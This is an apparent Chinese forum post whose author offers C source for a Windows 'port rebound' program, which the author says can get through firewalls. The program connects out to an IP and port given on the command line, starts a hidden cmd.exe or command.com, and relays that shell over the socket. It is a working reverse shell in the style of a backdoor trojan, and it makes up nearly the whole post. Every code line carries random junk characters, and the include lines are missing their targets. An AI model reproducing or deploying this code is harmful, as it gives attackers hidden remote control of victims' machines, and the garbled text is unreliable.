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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )aSj!X'`;  
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/* ============================== *nS}1(u]  
Rebound port in Windows NT i!0w? /g9  
By wind,2006/7 RN:VsopL  
===============================*/ BNi6I\wa  
#include 7Z%EXDm4/c  
#include }_Y&kaM  
~5`p/.L)ZD  
#pragma comment(lib,"wsock32.lib") = VIU  
stGk*\>U'  
void OutputShell(); %!DdjC&5*  
SOCKET sClient; Ac^hZ.qPz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N;Hoi8W  
7`eg;s^  
void main(int argc,char **argv) (<GBhNj=c  
{ S $j"'K  
WSADATA stWsaData; 0\tV@ 6p2=  
int nRet; % !P^se  
SOCKADDR_IN stSaiClient,stSaiServer; D+4oV6}~  
)M3} 6^s]  
if(argc != 3) xXb7/.*qE  
{ Ln-UN$2~F  
printf("Useage:\n\rRebound DestIP DestPort\n"); M2Q*#U>6r  
return; L#huTKX}  
} v7-z<'?s~  
$-^ ;Jl  
WSAStartup(MAKEWORD(2,2),&stWsaData); LV}Z[\?   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;]gj:6M  
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stSaiClient.sin_family = AF_INET; 9 +1}8"~  
stSaiClient.sin_port = htons(0); #*;G8yV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uwI$t[  
s!73To}>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :O?+Ywn  
{ q,;8Ka )  
printf("Bind Socket Failed!\n"); S?Y%}  
return; oS>VN<  
} !LI 8Xk  
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stSaiServer.sin_family = AF_INET; d.e_\]o<@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N[=c|frho  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K&"ZZFd_  
c"*xw8|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LI}@qLe  
{ }BYs.$7  
printf("Connect Error!"); . E8Gj'yO  
return; DXF>#2E^+  
} My6a.Kl  
OutputShell(); E;1QD/E$  
} eP(|]Rk  
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void OutputShell() xaN[ru@  
{ D( \c?X"  
char szBuff[1024]; r;n^\[Ov0,  
SECURITY_ATTRIBUTES stSecurityAttributes; :<p3L!?8y  
OSVERSIONINFO stOsversionInfo; 1S{AGgls5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  E\5Cf2Ox  
STARTUPINFO stStartupInfo; )# os!Ns_A  
char *szShell; tl6x@%\  
PROCESS_INFORMATION stProcessInformation; !kW~s_gUb*  
unsigned long lBytesRead; ;$.^  
L l$,"}0T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vq&}i~  
* lo0T93B  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zp'Vn7  
stSecurityAttributes.lpSecurityDescriptor = 0; Cfr2 ~w  
stSecurityAttributes.bInheritHandle = TRUE; F:~k4uTW\b  
b?U2g?lN:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2#81oz&K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~J:qG9|]}  
zhZ!!b^6<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @@W-]SR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SX)o0v+  
stStartupInfo.wShowWindow = SW_HIDE; =D3K})&  
stStartupInfo.hStdInput = hReadPipe; \yhj{QS.k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1xTNrLW  
FZBdQhYF  
GetVersionEx(&stOsversionInfo); BMdcW MYU\  
he! Uq%e  
switch(stOsversionInfo.dwPlatformId) 'ZFbyt Q2  
{ <SKzCp\  
case 1: 6DuA  
szShell = "command.com"; 'z9}I #  
break; ?Gnx!3Q  
default: +/>XOY|Ie  
szShell = "cmd.exe"; P>nz8NRq  
break; 'T+v&M  
} nPR*mbW  
cI\&&<>SlG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Oil~QAd,  
oiRrpS\T.  
send(sClient,szMsg,77,0); ^Lc, w  
while(1) $!goM~pZ  
{ ,a34=,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "1wjh=@z  
if(lBytesRead) .b|!FWHNS  
{ fR&x5Ika0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D KRF#*[=d  
send(sClient,szBuff,lBytesRead,0); (zml704dI)  
} AA XQ+!  
else WRqpQEY  
{ N{&Hq4^c  
lBytesRead=recv(sClient,szBuff,1024,0); sl_f+h0  
if(lBytesRead<=0) break; TcpaZ 'x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G`r/ tesW  
} ?_`X8Ok  
} G'T: l("l  
"Z]z9(  
return; @5j3[e  
}
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